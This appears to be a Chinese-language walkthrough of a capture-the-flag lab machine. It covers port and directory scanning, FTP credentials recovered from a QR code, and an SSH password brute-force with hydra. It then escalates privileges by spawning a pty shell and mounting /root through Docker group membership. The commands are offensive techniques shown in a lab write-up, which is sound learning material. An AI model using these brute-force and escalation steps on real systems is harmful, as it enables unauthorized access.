信息搜集:
首先进行目录扫描
进行端口扫描
nmap -sC -sV -p- 192.168.181.148 --min-rate=2000
开启了21,22,和80端口,于是打开网页进行查看
进行目录探测
gobuster dir -u http://192.168.181.148/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,bak,txt,html -t 20
扫描到/hidden_text 网页进行查看
打开后发现一个二维码
进行渗透测试
于是使用微信扫一扫可以获得ftp账号密码
#!/bin/bash HOST=ip USER=userftp PASSWORD=ftpp@ssword ftp -inv $HOST user $USER $PASSWORD bye EOF
于是进行ftp登录
登录成功,发现两个文件
将其get到本地
进行查看
我猜测robin可能是用户名,他还告诉我们另一个文件是密码破解文件,于是进行密码破解
hydra -l robin -P /root/p_lists.txt ssh://192.168.181.148
于是进行ssh登录
于是获得第一个flag
提权:
首先发现这个脚本文件的属主和属组都是robin,于是给其最高权限,并于jerry的用户运行
python -c 'import pty; pty.spawn("/bin/bash")'
可以来到jerry用户
在查看id时就可以发现,dokcer有权限,可能docker进行提权
确实有
运行他
docker run -it -v /root:/mnt/hhh alpine
可以获得最高权限
获得最终flag
最近有点事,所以晚发了两天,大家见谅!